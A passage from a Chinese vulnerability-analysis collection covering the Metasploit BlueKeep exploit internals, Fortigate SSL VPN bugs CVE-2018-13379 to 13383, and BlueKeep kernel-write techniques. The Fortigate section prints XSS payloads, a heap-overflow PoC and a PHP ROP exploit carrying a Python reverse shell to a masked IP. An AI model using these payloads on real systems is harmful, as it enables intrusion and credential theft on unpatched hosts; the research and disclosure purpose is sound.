受到严重影响。分析漏洞，对漏
洞的防护、推演、挖掘都有莫大
的帮助。



CVE-2019-0708 metasploit EXP分析

作者：houjingyi233

来源：https://cert.360.cn/report/detail?id=d16c909fa6cdfb29b962d557680df45a

4.1 0x00漏洞背景

2019年 09月 07日 rapid7在其 metasploit-framework仓库公开发布了 CVE-2019-0708的利用模块，漏

洞利用工具已经开始扩散，已经构成了蠕虫级的攻击威胁。这里对该漏洞利用的原理做一个技术分析。

4.2 0x01利用分析

漏洞原理部分就不再赘述了，简单来说就是由于 UAF漏洞 IcaChannelInputInternal->IcaFindChannel会

返回一个指向的内容已经被释放了的指针，随后有一处间接调用，通过喷射占位让这里的 rax寄存器

指向我们的 shellcode就可以 RCE。

在 windows 7上，非分页内存的起始地址是固定的。在虚拟机中可能由于环境不同导致该地址不

同，由于 EXP中硬编码了这个地址，所以可能导致漏洞利用失败。可以按照下面的方法自己修改这个

硬编码的地址。

如果是 virtualbox虚拟机，先使用下面的命令 dump虚拟机的内存：

然后下载安装 google的内存取证工具 rekall(https://github.com/google/rekall/releases/download/1.7.2rc1/Rekall_1.7.2.p1_Hurricane.Ridge_x64.exe)，

扫描得到的 memdump文件得到非分页内存的起始地址：

如果是 vmware虚拟机创建一个快照使用同样的命令扫描得到的快照文件即可。如果你是按照默认

步骤创建的，那么非分页内存的起始地址应该和这里一样都是 0xfffffa8001802000。windows 7虚拟机

的默认内存是 2GB，这个值比真实机器的内存小，所以把 GROOMSIZE从 250 MB修改为 50MB。此

时，应该可以直接使用该 EXP在虚拟机上实现稳定的 RCE了。

EXP编写主要的两个问题就是如何喷射占位和如何编写 shellcode。下面我们来看代码。

回顾一下 RDP协议的流程，client收到这个 PAKID_CORE_CLIENTID_CONFIRM之后应该发送

client device list announce request包，发送这个包之后执行 exploit代码。

Figure 4.1: enter description here

46



漏洞分析 CVE-2019-0708 metasploit EXP分析

Figure 4.2: enter description here

Figure 4.3: enter description here

Figure 4.4: enter description here

Figure 4.5: enter description here
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Figure 4.6: enter description here

Figure 4.7: enter description here
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Figure 4.8: enter description here

Figure 4.9: enter description here

非分页内存的起始地址是 0xfffffa8001802000，我们希望 call [rax]时 rax的值是 0xfffffa8004a02048，

0xfffffa8004a02048中的值是 0xfffffa8004a02058，0xfffffa8004a02050处开始 payload。因为 payload以

查找其的标志 USERMODE_EGG/KERNELMODE_EGG开始 (egg hunting)，所以将 0xfffffa8004a02048

中的值设置为 0xfffffa8004a02058刚好可以从 payload真正的功能处开始。

payload分为 kernel mode payload和 user mode payload，kernel mode payload由两个部分组成：KER-

NELMODE_EGG和 (kernel mode的)payload；user mode payload由四个部分组成：USERMODE_EGG,egg_loop,USERMODE_EGG

和 (user mode的)payload。egg_loop用来查找 KERNELMODE_EGG并跳转到 (kernel mode的)payload；

(user mode的)payload才是真正在用户态运行的反弹 shell的 payload(egg_loop其实也是在内核态运行

的)。

准备好 payload之后伪造 UAF的结构体，在 IcaChannelInputInternal中的 ExAllocatePoolWithTag中

可以看到，实际分配的内存会比发送的数据多 0x38个字节。

考虑进去这 0x38个字节，又因为间接调用的偏移是 0x100个字节，所以需要在第 0xC8个字节放

上 0xfffffa8004a02048。

做好这些准备工作之后就可以开始 pool spray了。首先发送大量大小为 0x128的 spray_channel包

(分配 0x128+0x38=0x160字节大小的内存)，再发送触发漏洞的包释放 MS_T120 channel，由于其大

小也是 0x160字节，所以此时再发送大量和前面相同的 spray_channel包就会占据被释放的 MS_T120

channel的内存。
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Figure 4.10: enter description here

Figure 4.11: enter description here
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Figure 4.12: enter description here

之后发送大量含有 kernel mode payload或者 user mode payload的包占据从 0xfffffa8001802000开始

到 0xfffffa8004a02000的非分页内存，因为 header的大小是 0x48，所以最终 0xfffffa8004a02048中的值

是 0xfffffa8004a02058，后面可能是 kernel mode payload或者 user mode payload。

最后断开连接触发漏洞，call [rax] 这里调用了 user mode payload，如前所述，只是用来查找

KERNELMODE_EGG并跳转到 kernel mode payload。

接下来的代码基本修改自 https://github.com/worawit/MS17-010/blob/master/shellcode/eternalblue_kshellcode_x64.asm。

第一步是利用 rdmsr/wrmsr hook KiSystemCall64 并保存原来 KiSystemCall64 的地址，KernelApcDis-

able++启用内核 APC然后直接返回 IcaChannelInputInternal的上层函数。

Figure 4.13: enter description here
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Figure 4.14: enter description here

Figure 4.15: enter description here

Figure 4.16: enter description here
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Figure 4.17: enter description here

在我们的 KiSystemCall64中首先照抄原来的 5行代码，保存寄存器，加锁防止接下来的代码重复

执行，恢复 KiSystemCall64为原来 KiSystemCall64的地址加上 0x1F防止重复执行开头的 5行代码，

调用下一段 shellcode。

因为已经知道了 KiSystemCall64的地址，所以通过 PE文件MZ头找到 ntoskrnl.exe加载到内核中

的地址。

分别通过 KPCR和 psgetcurrentprocess取得当前的 ETHREAD和 EPROCESS。

通过 psgetprocessimagefilename找到 EPROCESS.ImageFilename的偏移，因为 EPROCESS.ImageFilename

和 EPROCESS.ThreadListHead偏移为 0x28，所以可以据此找到 EPROCESS.ThreadListHead的偏移。

ETHREAD通过 ThreadListEntry链接到 EPROCESS.ThreadListHead，所以遍历 ETHREAD.ThreadListEntry,

当它和前面取得的 ETHREAD的差小于 0x700时说明得到了 ETHREAD.ThreadListEntry的偏移。

直接读取 psgetprocessid函数地址 +3处的值也就是汇编代码中的 180h得到 EPROCESS. UniquePro-

cessId的偏移,因为 EPROCESS.UniqueProcessId和 EPROCESS. ActiveProcessLinks偏移为 0x8，所以可

以据此找到 EPROCESS.ActiveProcessLinks的偏移。

前面已经得到了 EPROCESS.ImageFilename的偏移，所以遍历 EPROCESS.ActiveProcessLinks计算

每个 EPROCESS.ImageFilename的 hash和 spoolsv.exe的 hash对比，直到找到 spoolsv.exe为止。如果

一直没有找到就释放前面通过 lock cmpxchg上的锁以便下一个被劫持的系统调用运行 shellcode。

找到 spoolsv.exe之后先保存 PEB的地址以便稍后查找 CreateThread函数的地址，前面已经得到

了 EPROCESS.ThreadListHead 和 ETHREAD.ThreadListEntry 的偏移，所以遍历 ETHREAD，直接读

取 psgetthreadteb 函数地址 +3 处的值也就是汇编代码中的 0B8h 得到 KTHREAD.TEB 的偏移, 因为

KTHREAD.TEB 和 KTHREAD.Queue 偏移为 0x8，所以可以据此找到 KTHREAD.Queue 的偏移。根

据注释中的解释，KTRHEAD.Queue为 NULL时 TEB.ActivationContextStackPointer也是 NULL，而当

TEB.ActivationContextStackPointer为 NULL时会出现访问异常而 crash掉。所以需要遍历 ETHREAD

直到找到一个 KTRHEAD.Queue不为 0的 ETHREAD为止。

接下来调用 KeInitializeApc和 KeInsertQueueApc插 APC，在 KernelApcRoutine中调用 ZwAllocate-

VirtualMemory分配内存，将 user mode payload的最后一部分真正在用户态运行的 payload拷贝到这块

分配的内存。
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Figure 4.18: enter description here

Figure 4.19: enter description here

Figure 4.20: enter description here
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Figure 4.21: enter description here

Figure 4.22: enter description here
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Figure 4.23: enter description here

Figure 4.24: enter description here

Figure 4.25: enter description here
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Figure 4.26: enter description here

Figure 4.27: enter description here

Figure 4.28: enter description here

57



漏洞分析 CVE-2019-0708 metasploit EXP分析

Figure 4.29: enter description here

Figure 4.30: enter description here

Figure 4.31: enter description here
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Figure 4.32: enter description here

然后根据前面保存的 PEB地址通过 LDR链找到 kernel32.dll的地址然后找到 CreateThread的地址，

保存到 SystemArgument1。

最后 KiUserApcDispatcher函数调用真正在用户态运行的 payload，并且参数是 CreateThread，因为

此时还处于原来的被打断的线程，所以首先需要新建一个线程。

4.3 0x02时间线

2019-09-07 metasploit-framework仓库公开发布了 CVE-2019-0708的利用模块

2019-09-16 360CERT发布分析

4.4 0x03参考链接

Playing with the BlueKeep MetaSploit module

ETERNALBLUE Exploit Analysis and Port to Microsoft Windows 10
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Figure 4.33: enter description here

Figure 4.34: enter description here
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Fortigate SSL VPN漏洞分析

译者：興趣使然的小胃

来源：https://www.anquanke.com/post/id/184097

5.1 0x00前言

上个月我们分析了 Palo Alto Networks GlobalProtect中的RCE漏洞，今天来看重头戏：针对 Fortigate

SSL VPN的漏洞分析。我们已经在 Black Hat和 DEFCON上发表过相关演讲，如果大家想了解更多细

节，可以下载演讲文稿。

整个故事从 8月份开始讲起，当时我们开始研究 SSL VPN。与 site-to-site VPN相比（如 IPSEC和

PPTP），SSL VPN更便于使用，并且可以与任何网络环境相兼容。因此，现在 SSL VPN已经成为企业

领域最流行的远程访问方式。

然而，如果这类 ‘‘可靠的’’设备不再安全那怎么办？虽然这类设备是重要的企业资产，但通常却疏

于管理。根据我们对财富 500强企业的调查结果，前 3大 SSL VPN厂商占据了 75%的市场份额，SSL

VPN市场并没有太复杂，因此一旦我们在常见的 SSL VPN中找到严重漏洞，就会造成巨大的影响。

此外，SSL VPN必须对互联网开放，因此也是绝佳的攻击点。

在研究之初，我们对 SSL VPN主要企业涉及到的 CVE数量进行了统计，结果如下：

(https://p3.ssl.qhimg.com/t01650b66917bfae2c0.png)

似乎 Fortinet以及 Pulse Secure是最为安全的解决方案，但这是真的吗？我们一直都是勇敢的挑战

者，因此决定开始寻找 Fortinet及 Pulse Secure的弱点。本文介绍了关于 Fortigate SSL VPN漏洞方面

的内容，下一篇文章会介绍关于 Pulse Secure的内容，那部分最为精彩，敬请关注。
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5.2 0x01 Fortigate SSL VPN

Fortinet将其 SSL VPN产品线称为 Fortigate SSL VPN，主要应用于最终用户以及中型企业。目前互联

网上这些服务器的数量已超过 48万台，主要集中在亚洲及欧洲区域。Fortigate SSL VPN在 URL中有

一个/remote/login特征，并且包含如下 3个特点：

1、一体化程序

我们从文件系统开始研究，尝试列出/bin/目录中的所有程序，发现这些都是符号链接，指

向/bin/init，如下所示：

(https://p3.ssl.qhimg.com/t01a72cfc3bf0e07c21.png)

Fortigate将所有程序编译并配置成一个统一的程序，因此会让最终的 init程序变得非常庞大。这

个程序包含上千个函数，并且没有符号，只包含 SSL VPN所需的必要程序，整个环境对黑客来说非常

不友好。比如，我们在这个文件系统中甚至找不到/bin/ls或者/bin/cat。

2、Web守护进程

Fortigate上运行着 2个 web接口，一个用于管理界面，监听在 443端口，由/bin/httpsd负责处

理；另一个是普通用户界面，默认监听在 4433端口上，由/bin/sslvpnd负责处理。通常情况下，管

理员页面不会对互联网开放，因此我们只能访问用户接口。

经过调查后，我们发现这个 web服务器是 apache的修改版，但竟然源自于 2002年的 apache。显然

官方对 2002版的 apache进行了修改，添加了自己的功能。我们可以对照 apache的源码，来加快分析

进度。

这两个 web服务都将自己的 apache模块编译到程序文件中，以处理每个 URL路径。我们可以找

到标明处理函数的一张表，继续深入研究这些函数。

3、WebVPN

WebVPN是一种非常方便的代理功能，可以让我们简单通过浏览器连接到所有服务。WebVPN支

持许多协议，比如 HTTP、FTP、RDP，也能处理各种 web资源，比如WebSocket以及 Flash。为了正

确处理网站业务，WebVPN会解析 HTML，重写所有网址。这个过程涉及到大量字符串操作，很容易

产生内存错误。
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5.3 0x02漏洞描述

我们找到了一些漏洞：

5.3.1 CVE-2018-13379：预认证任意文件读取

在获取对应的语言文件时，目标设备会使用 lang参数来生成 json文件路径：

snprintf(s, 0x40, "/migadmin/lang/%s.json", lang);

该操作没有保护措施，会直接附加文件扩展名。看上去我们似乎只能读取 json文件，然而实际上

我们可以滥用 snprintf的功能。根据 man页面，snprintf最多会将 size-1大小的数据写入输出

字符串中。因此，我们只需要让数据超过缓冲区大小，就可以剔除.json扩展符，从而实现任意文件

读取。

5.3.2 CVE-2018-13380：预认证 XSS

目标服务存在几个 XSS点，如下所示：

/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E

/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29

/message?title=x&msg=%26%23<svg/onload=alert(1)>;

5.3.3 CVE-2018-13381：预认证堆溢出

目标分 2阶段对 HTML实体代码进行编码。服务器首先会计算编码字符串所需的缓冲区大小，然后将

编码结果存放到该缓冲区中。举个例子，在计算阶段，<字符串的编码结果为 <，这样就会占用 5个

字节。如果服务器碰到了以 &#开头的字符串（比如 <），就认为该字符出已经经过编码，会直接计算

字符串长度，例如：

c = token[idx];

if (c == ’(’ || c == ’)’ || c == ’#’ || c == ’<’ || c == ’>’)

cnt += 5;

else if(c == ’&’ && html[idx+1] == ’#’)

cnt += len(strchr(html[idx], ’;’)-idx);

然而，长度计算过程以及编码过程中存在不一致的部分，编码部分并没有充分考虑到这种情况。

switch (c)

{

case ’<’:

memcpy(buf[counter], "<", 5);
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counter += 4;

break;

case ’>’:

// ...

default:

buf[counter] = c;

break;

counter++;

}

如果我们输入恶意字符串 &#<<<;，那么 <仍然会被编码为 <，因此结果会变成 &#<<<;。这显然

比预期的 6字节长度要大，因此会造成堆缓冲区溢出。

PoC：

import requests

data = {

’title’: ’x’,

’msg’: ’&#’ + ’<’*(0x20000) + ’;<’,

}

r = requests.post(’https://sslvpn:4433/message’, data=data)

5.3.4 CVE-2018-13382：magic后门

在登录页面，我们找到了一个特别的参数：magic。一旦该参数值匹配硬编码的一个字符串，我们就

可以修改任何用户的密码。

(https://p1.ssl.qhimg.com/t01e6d6a998f1b5f876.png)

根据我们的调查结果，目前还有许多 Fortigate SSL VPN没有打上补丁。因此，考虑到这个漏洞的

严重程度，我们并不会公布这个魔术字符串。然而，来自 CodeWhite的研究人员已经复现了这个漏洞，

因此其他攻击者很快也会成功利用这个漏洞。请大家尽快更新手头上的 Fortigate ASAP。
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(https://p4.ssl.qhimg.com/t01da933c662d0d48f2.png)

5.3.5 CVE-2018-13383：后认证堆溢出

这个漏洞位于WebVPN功能中。在解析 HTML中的 JavaScript时，服务器会尝试使用如下代码将内容

拷贝到缓冲区中：

memcpy(buffer, js_buf, js_buf_len);

缓冲区大小固定为 0x2000，但输入字符串没有长度限制，因此这里存在堆缓冲区问题。需要注意

的是，这个漏洞可以溢出 Null字节，这在漏洞利用中非常有用。

为了触发缓冲区溢出，我们需要将利用代码放在 HTTP服务器上，然后要求 SSL VPN以正常用户

权限代理我们的利用请求。
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5.4 0x03漏洞利用

一开始官方公告中表明这些漏洞不会造成 RCE风险，实际上这里官方有些误解。接下来我们将演示

如何在不需要身份认证的情况下，从用户登录界面来利用漏洞。

5.4.1 CVE-2018-13381

我们首先尝试利用这个预认证堆溢出漏洞。然而这个漏洞利用起来有个问题：不支持溢出 Null字节。

通常情况下，这并不是非常严重的问题。堆利用技术现在应该可以克服这个困难。然而我们发现在

Fortigate上尝试堆风水简直是一场灾难，该设备上存在一些阻碍，会让堆变得不稳定，难以控制。这

些因素包括：

1、单线程，单进程，单 allocator

Web守护程序会使用 epoll()来处理多个连接，没有采用多进程或者多线程方案，并且主进程和

程序都使用了相同的堆：JeMalloc。这意味着所有连接对应的所有操作所分配的内存都在同一个堆

上，因此整个堆会变得非常乱。

2、定期触发操作

这种方式会干扰堆布局，并且无法控制。我们无法仔细布置堆结构，稍微不慎就会导致堆被摧毁。

3、引入 Apache内存管理机制

分配的内存空间不会被 free()，除非连接结束。我们无法在单个连接中布置堆结构。实际上这种

方式可以有效缓解堆漏洞，特别是 UAF（use-after-free）类漏洞。

4、JeMalloc

JeMalloc会隔离元数据以及用户数据，因此我们难以修改元数据来把玩堆布局。此外，JeMalloc会

将小型对象集中管理，这样也限制了我们的利用途径。

我们在这里陷入泥潭，因此选择尝试别的道路。如果大家成功利用该漏洞，欢迎随时联系我们。

5.4.2 CVE-2018-13379 + CVE-2018-13383

这是预认证（pre-auth）文件读取漏洞以及后认证（post-auth）堆溢出漏洞的组合使用。一个用于通过

身份认证，另一个用于搞定 shell。

1、身份认证

我们首先利用 CVE-2018-13379来泄露会话文件。这个 session文件中包含一些有价值的信息，比

如用户名以及明文密码，这样我们就可以轻松登录。
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(https://p1.ssl.qhimg.com/t01fe812f942b350f29.png)

2、搞定 shell

成功登录后，我们可以要求 SSL VPN代理位于我们恶意 HTTP服务器上的利用载荷，然后触发堆

溢出。

由于前面提到的问题，我们需要寻找合适的目标来溢出。我们无法精心控制堆布局，但有可能寻

找经常出现的某些目标。如果这个目标随处可见，并且每次触发漏洞时都涉及到，那么我们就可以轻

松覆盖该目标，然而我们很难从这个庞大的程序中找到这样一个目标，因此我们再一次被困住。最终

我们开始 fuzz服务端，尝试寻找一些有用的信息。

我们实现了一次有趣的服务器崩溃。令人惊讶的是，我们基本上控制了程序计数器（program

counter）。

(https://p5.ssl.qhimg.com/t012a843e3790999caf.png)

崩溃信息如下所示，这也是我们那么喜爱 fuzz的原因所在：

Program received signal SIGSEGV, Segmentation fault.
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0x00007fb908d12a77 in SSL_do_handshake () from /fortidev4-x86_64/lib/libssl.so.1.1

2: /x $rax = 0x41414141

1: x/i $pc

=> 0x7fb908d12a77 <SSL_do_handshake+23>: callq *0x60(%rax)

(gdb)

崩溃点位于SSL_do_handshake()中：

int SSL_do_handshake(SSL *s)

{

// ...

s->method->ssl_renegotiate_check(s, 0);

if (SSL_in_init(s) || SSL_in_before(s)) {

if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {

struct ssl_async_args args;

args.s = s;

ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);

} else {

ret = s->handshake_func(s);

}

}

return ret;

}

我们覆盖了SSL结构中method函数的函数表，这样当目标尝试执行 s->method->ssl_renegotiate_check(s,

0);时就会崩溃。

这实际上是漏洞利用的绝佳目标。SSL 结构可以被轻易触发，并且大小与我们的 JavaScript

缓冲区接近，可以很有可能与我们的缓冲区相距一定偏移量。根据代码，我们可以看到 ret =

s->handshake_func(s);语句会调用一个函数指针，这也是控制程序执行流的绝佳选择。发现这一点

后，我们的利用策略就逐渐清晰起来。

首先我们通过大量正常请求，利用 SSL结构来喷射堆，然后再溢出 SSL结构。
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(https://p1.ssl.qhimg.com/t01ccaefe4e01f5edee.png)

我们将 php版的 PoC放置在 HTTP服务器上：

<?php

function p64($address) {

$low = $address & 0xffffffff;

$high = $address >> 32 & 0xffffffff;

return pack("II", $low, $high);

}

$junk = 0x4141414141414141;

$nop_func = 0x32FC078;

$gadget = p64($junk);

$gadget .= p64($nop_func - 0x60);

$gadget .= p64($junk);

$gadget .= p64(0x110FA1A); // # start here # pop r13 ; pop r14 ; pop rbp ; ret ;

$gadget .= p64($junk);

$gadget .= p64($junk);

$gadget .= p64(0x110fa15); // push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;

$gadget .= p64(0x1bed1f6); // pop rax ; ret ;

$gadget .= p64(0x58);

$gadget .= p64(0x04410f6); // add rdi, rax ; mov eax, dword [rdi] ; ret ;

$gadget .= p64(0x1366639); // call system ;

$gadget .= "python -c ’import socket,sys,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((sys.argv[1],12345));[os.dup2(s.fileno(),x) for x in range(3)];os.system(sys.argv[2]);’ xx.xxx.xx.xx /bin/sh;";
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$p = str_repeat(’AAAAAAAA’, 1024+512-4); // offset

$p .= $gadget;

$p .= str_repeat(’A’, 0x1000 - strlen($gadget));

$p .= $gadget;

?>

<a href="javascript:void(0);<?=$p;?>">xxx</a>

这个 PoC可以分成 3大部分：

1、伪造的 SSL结构。

SSL结构距离我们的缓冲区保持一定偏移量，因此我们可以准确伪造这个结构。为了避免目标崩

溃，我们将 method指向包含 void函数指针的某个位置。此时该参数为 SSL自身结构（s）。然而

method前只有 8字节可用，我们不能在 HTTP服务端上简单调用 system("/bin/sh");，因此这个

空间不足以运行我们的反弹 shell命令。不过这里要感谢这个庞大的程序文件，我们很容易找到许多

ROP gadget。比如我们就找到了方便 stack pivot的一个 gadget：

push rbx ; or byte [rbx+0x41], bl ; pop rsp ; pop r13 ; pop r14 ; pop rbp ; ret ;

因此我们将 handshake_func设置为这个 gadget，将 rsp move到我们的 SSL结构，进一步发起

ROP攻击。

2、ROP链

这里的 ROP链比较简单。我们只需简单前移 rdi，就可以为我们的反弹 shell命令预留足够的空

间。

3、溢出字符串

最终我们拼接溢出空间和利用代码，成功溢出 SSL结构后，我们就可以得到 shell。

我们的利用代码需要多次运行，因为利用过程中我们可能会溢出某些重要数据，导致程序在执行

到 SSL_do_handshake前崩溃。不论如何，Fortigate部署的 watchdog非常可靠，利用过程依然比较稳

定，只需要花费 1~2分钟就能得到反弹 shell。

漏洞利用过程可参考此处视频。

请大家尽快升级到 FortiOS 5.4.11、5.6.9、6.0.5、6.2.0及以上版本。

5.5 0x04时间线

2018年 12月 11日：向 Fortinet报告漏洞情况

2019年 3月 19日：官方设定补丁推出时间点

2019年 5月 24日：官方发布安全公告

https://youtu.be/Aw55HqZW4x0


CVE-2019-0708（BlueKeep）：利用 RDP PDU将数据写入内核的 3种方式

译者：興趣使然的小胃

来源：https://www.anquanke.com/post/id/185508

6.1 0x00前言

2019年 5月，微软针对远程代码执行（RCE）漏洞CVE-2019-0708专门发布了带外补丁更新包，这个漏

洞也就是知名的 “BlueKeep’’漏洞，存在于远程桌面服务（RDS）种。这是一个预身份认证漏洞，无需

用户交互，因此很有可能被攻击者利用，带来破坏性风险。如果成功利用漏洞，攻击者就能以 SYSTEM

权限执行任意代码。根据微软安全响应中心（MSRC）发布的公告，这是一种蠕虫级漏洞，可能被攻

击者用来发起类似Wannacry及 EsteemAudit级别的攻击。了解到这个漏洞的严重性及可能对公众造成

的潜在风险后，微软也采取了罕见的处理流程，为不再受支持的Windows XP系统推出补丁，以全面

保护Windows用户。

由于该漏洞可能会带来全球范围内的灾难性后果，Palo Alto Networks Unit 42研究人员认为该漏洞

非常值得研究，以便澄清 RDS的内部工作原理及漏洞利用方式。我们深入研究了 RDP内部实现以及

如何利用这些内部工作流程在未打补丁的主机上实现代码执行。本文讨论了如何利用 Bitmap Cache

PDU（协议数据单元）、Refresh Rect PDU以及 RDPDR Client Name Request PDU将数据写入内核内存

中。

自微软在 5月份发布补丁以来，该漏洞得到了计算机安全行业的广泛关注。事实上漏洞利用工具

的公开并在实际攻击中使用只是一个时间问题，根据我们的研究成果，大家可以了解到存在漏洞的系

统实际上会面临极大的风险。

6.2 0x01 Bitmap Cache PDU

根据MS-RDPBCGR（Remote Desktop Protocol: Basic Connectivity and Graphics Remoting）文档描述，

Bitmap Cache PDU 的全称为 TS_BITMAPCACHE_PERSISTENT_LIST_PDU，这是一种 Persistent Key List

PDU Data，内嵌在 Persistent Key List PDU中。Persistent Key List PDU是一种 RDP Connection Sequence

（连接时序）PDU，在 RDP Connection Sequence的 Connection Finalization（连接完成）阶段由客户端发

送至服务端，如图 1所示。
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(https://p2.ssl.qhimg.com/t012f97886f59ea4209.png)

图 1. RDP连接时序

Persistent Key List PDU头部为通用的 RDP PDU头，具体格式如图 2所示：tpktHeader（4字节）

+x224Data（3字节）+mcsSDrq（可变字节）+securityHeader（可变字节）。
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(https://p0.ssl.qhimg.com/t017e5a71fad7a760dc.png)

图 2. Client Persistent Key List PDU

根据MS-RDPBCGR文档，TS_BITMAPCACHE_PERSISTENT_LIST_PDU结构中包含由之前会话中发送

的一系列已缓存的 bitmap key（位图键值），这些 key与Cache Bitmap（Revision 2）Order（缓存位图序）

相对应，如图 3所示：

图 3. Persistent Key List PDU Data（BITMAPCACHE PERSISTENT LIST PDU）
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在官方设计方案中，RDP 客户端可以使用 Bitmap Cache PDU 向服务端发送信息，表明客户

端本地包含与这些 key 对应的位图拷贝，这意味着服务端不需要重新将位图发送给客户端。根

据MS-RDPBCGR文档描述，Bitmap PDU有如下 4个特点：

RDP服务端会分配一个内核池，用来存储已缓存的 bitmap key；

RDP服务端分配的内核池大小由 RDP客户端发送过来的 BITMAPCACHE PERSISTENT LIST结构

中的 numEntriesCacheX（X取 0到 4之间的值）以及 totalEntriesCacheX（X取 0到 4之间的值）

字段所控制，这两个字段大小均为 2字节（WORD）；

Bitmap Cache PDU可以被多次发送，因为 bitmap key可以通过多个 Persistent Key List PDU发送，

每个 PDU通过 bBitMask字段中 flag的来标记；

bitmap key的数量最多为 169个。

根据 BITMAPCACHE PERSISTENT LIST PDU的这 4个特点，如果我们能绕过 bitmap key数量限

制（169个），或者微软在实现 RDP时没有遵循这个限制值，那么就有可能将任意数据写入内核中。

6.3 0x02如何通过 Bitmap Cache PDU将数据写入内核

根据MS-RDPBCGR文档，正常加密的 BITMAPCACHE PERSISTENT LIST PDU如下所示：

f2 00 -> TS_SHARECONTROLHEADER::totalLength = 0x00f2 = 242 bytes

17 00 -> TS_SHARECONTROLHEADER::pduType = 0x0017

0x0017

= 0x0010 | 0x0007

= TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU

ef 03 -> TS_SHARECONTROLHEADER::pduSource = 0x03ef = 1007

ea 03 01 00 -> TS_SHAREDATAHEADER::shareID = 0x000103ea

00 -> TS_SHAREDATAHEADER::pad1

01 -> TS_SHAREDATAHEADER::streamId = STREAM_LOW (1)

00 00 -> TS_SHAREDATAHEADER::uncompressedLength = 0

2b -> TS_SHAREDATAHEADER::pduType2 =
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PDUTYPE2_BITMAPCACHE_PERSISTENT_LIST (43)

00 -> TS_SHAREDATAHEADER::generalCompressedType = 0

00 00 -> TS_SHAREDATAHEADER::generalCompressedLength = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[0] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[1] = 0

19 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[2] = 0x19 = 25

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[3] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::numEntries[4] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[0] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[1] = 0

19 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[2] = 0x19 = 25

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[3] = 0

00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::totalEntries[4] = 0

03 -> TS_BITMAPCACHE_PERSISTENT_LIST::bBitMask = 0x03

0x03

= 0x01 | 0x02

= PERSIST_FIRST_PDU | PERSIST_LAST_PDU

00 -> TS_BITMAPCACHE_PERSISTENT_LIST::Pad2
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00 00 -> TS_BITMAPCACHE_PERSISTENT_LIST::Pad3

TS_BITMAPCACHE_PERSISTENT_LIST::entries:

a3 1e 51 16 -> Cache 2, Key 0, Low 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key1)

48 29 22 78 -> Cache 2, Key 0, High 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key2)

61 f7 89 9c -> Cache 2, Key 1, Low 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key1)

cd a9 66 a8 -> Cache 2, Key 1, High 32-bits (TS_BITMAPCACHE_PERSISTENT_LIST_ENTRY::Key2)

…

在 RDPWD.sys内核模块中，ShareClass::SBC_HandlePersistentCacheList函数负责解析BITMAP-

CACHE PERSISTENT LIST PDU。当结构体中的 bBitMask字段值设置为 0x01时，表示当前 PDU为

PERSIST FIRST PDU。随后 SBC_HandlePersistentCacheList会调用 WDLIBRT_MemAlloc来分配一

个内核池（分配内核空间）来存储持久性位图缓存键值，如图 4所示。其他情况下，0x00值表示当

前 PDU为 PERSIST MIDDLE PDU，0x02值表示当前 PDU为 PERSIST LAST PDU。当解析 PERSIST

MIDDLE PDU以及 PERSIST LAST PDU时，SBC_HandlePersistentCacheList会将 bitmap cache key

缓存到前面分配的内存空间中，如图 5所示。

76



漏洞分析 CVE-2019-0708（BlueKeep）：利用 RDP PDU将数据写入内核的 3种方式

(https://p1.ssl.qhimg.com/t01000a296c90cfdbb9.png)

图 4. SBC_HandlePersistentCacheList分配池空间以及检查 totalEntriesCacheLimi
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(https://p0.ssl.qhimg.com/t01ea7a1a4c251ae518.png)

图 5. SBC_HandlePersistentCacheList拷贝 bitmap cache key

Windows 7 x86系统中调用栈情况如图 6所示，以参数形式传递给 SBC_HandlePersistentCacheList

函数的 TS_BITMAPCACHE_PERSISTENT_LIST结构体如图 7所示。

(https://p4.ssl.qhimg.com/t014e06bbdb827ad4c1.png)

图 6. SBC_HandlePersistentCacheList栈轨迹

78



漏洞分析 CVE-2019-0708（BlueKeep）：利用 RDP PDU将数据写入内核的 3种方式

(https://p1.ssl.qhimg.com/t014829a8753fa22b51.png)

图 7.以 SBC_HandlePersistentCacheList第二个参数形式传入的 TS_BITMAPCACHE_PERSISTENT_LIST

结构

如图 4所示，bitmapCacheListPoolLen = 0xC * (total length + 4)，而 total length = totalEntriesCache0

+ totalEntriesCache1 + totalEntriesCache2 + totalEntriesCache3 + totalEntriesCache4。根

据这个公式，我们可以设置 totalEntriesCacheX=0xffff，这样 bitmapCacheListPoolLen就能取

得最大值。然而如图 8所示，系统会对每个 totalEntriesCacheX检查 totalEntriesCacheLimit。

totalEntriesCacheLimitX来自于 TS_BITMAPCACHE_CAPABILITYSET_REV2结构体，当 RDPWD调用

DCS_Init时，CAPAPI_LOAD_TS_BITMAPCACHE_CAPABILITYSET_REV2函数就会初始化这个结构体。当

解析 Confirm Active PDU时，CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2函数就会将这

些值组合起来，如图 9所示。

(https://p5.ssl.qhimg.com/t013d7effe124b92d5e.png)

图 8. RDPWD!CAPAPI_LOAD_TS_BITMAPCACHE_CAPABILITYSET_REV2
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(https://p5.ssl.qhimg.com/t01f1a0708837e15860.png)

图 9. RDPWD!CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2

CAPAPI_COMBINE_TS_BITMAPCACHE_CAPABILITYSET_REV2 会将服务端初始化的 NumCellCaches

